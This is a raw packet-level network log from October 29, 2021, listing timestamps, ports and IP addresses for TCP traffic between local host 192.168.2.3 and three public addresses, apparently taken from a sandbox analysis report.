Oct 29, 2021 14:11:02.270684958 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270724058 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270730019 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270761013 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270809889 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270811081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270857096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270895004 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270906925 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.270934105 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270972967 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.270987988 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.271008968 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.271048069 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.271059036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.271085024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.271123886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.271131039 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.271163940 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.271209002 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.320738077 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:02.338265896 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338320971 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338360071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338397026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338435888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338448048 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338474989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338479996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338515043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338531017 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338553905 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338592052 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338598013 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338630915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338666916 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338680029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338706017 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338745117 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338754892 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338783026 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338829041 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338838100 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338866949 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338905096 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338912010 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.338943005 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338979006 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.338992119 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339016914 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339056015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339061975 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339092016 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339129925 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339135885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339169025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339207888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339216948 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339246988 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339282990 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339297056 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339320898 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339359045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339368105 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339395046 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339433908 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339442015 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339473009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339513063 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339519978 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339551926 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339587927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339601994 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339626074 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339663982 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339670897 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339700937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339739084 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339744091 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.339776039 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.339823961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.369019985 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:02.369144917 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:02.378860950 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:02.387417078 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387475967 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387516022 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387533903 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.387552977 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387593985 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387610912 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.387631893 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387670994 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387682915 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.387713909 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387761116 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.387834072 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387876034 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387913942 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387929916 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.387953997 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.387989998 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388006926 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388030052 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388067007 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388081074 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388106108 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388144970 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388154984 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388181925 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388221025 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388228893 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388259888 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388297081 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388309002 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388334990 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388371944 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388384104 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388411999 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388444901 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388459921 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.388480902 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388514996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.388528109 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389452934 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389532089 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389628887 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389668941 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389708042 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389720917 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389744997 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389782906 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389791965 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389823914 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389882088 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389885902 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389919996 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389959097 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.389971972 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.389997959 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390036106 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390043020 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390075922 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390110970 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390125036 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390150070 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390187979 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390197039 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390224934 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390261889 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390275955 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390300989 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390337944 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390347958 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390377998 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390414953 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390428066 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390453100 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390491009 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390501022 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390522957 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390562057 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390568972 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.390597105 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.390640020 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394438028 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394476891 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394515038 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394553900 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394571066 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394591093 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394598007 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394629002 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394666910 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394680977 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394706011 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394745111 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394752979 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394782066 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394823074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394828081 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394860983 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394896984 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394911051 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.394936085 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394973993 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.394979954 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395013094 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395051956 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395057917 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395087957 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395124912 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395133972 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395164013 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395200014 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395212889 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395239115 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395276070 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395288944 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395313978 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395348072 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395363092 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.395385981 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395420074 CEST	80	50089	211.59.14.90	192.168.2.3
Oct 29, 2021 14:11:02.395433903 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.407063961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407118082 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407151937 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407181025 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407211065 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407253981 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407283068 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407295942 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407318115 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407325029 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407334089 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407371044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407396078 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407411098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407449961 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407490015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407522917 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407529116 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407538891 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407567978 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407607079 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407610893 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407644033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407684088 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407699108 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407721996 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407761097 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407768965 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407799959 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407852888 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407860041 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407890081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407927036 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.407941103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.407964945 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408003092 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408015966 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408040047 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408077955 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408092022 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408117056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408154964 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408166885 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408190966 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408229113 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408241034 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408267021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408303022 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408335924 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408339977 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408377886 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408391953 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408416033 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408453941 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408467054 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408489943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408529043 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408538103 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408566952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408603907 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408617020 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408648014 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408684015 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408721924 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408736944 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408760071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408766985 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408806086 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408844948 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408911943 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.408914089 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.408983946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.427628994 CEST	58682	50095	213.142.148.231	192.168.2.3
Oct 29, 2021 14:11:02.435651064 CEST	50089	80	192.168.2.3	211.59.14.90
Oct 29, 2021 14:11:02.460994959 CEST	50095	58682	192.168.2.3	213.142.148.231
Oct 29, 2021 14:11:02.476165056 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476231098 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476269960 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476306915 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476341963 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476345062 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476371050 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476386070 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476422071 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476460934 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476475000 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476499081 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476536989 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476541996 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476577044 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476613045 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476620913 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476650953 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476690054 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476691961 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476727009 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476747036 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476764917 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476803064 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476820946 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476841927 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476895094 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.476910114 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476948023 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.476984024 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477000952 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477021933 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477060080 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477072954 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477097034 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477135897 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477149010 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477173090 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477211952 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477225065 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477251053 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477288008 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477300882 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477324963 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477363110 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477376938 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477399111 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477436066 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477443933 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477473021 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477511883 CEST	80	50094	193.56.146.214	192.168.2.3
Oct 29, 2021 14:11:02.477525949 CEST	50094	80	192.168.2.3	193.56.146.214
Oct 29, 2021 14:11:02.477550983 CEST	80	50094	193.56.146.214	192.168.2.3
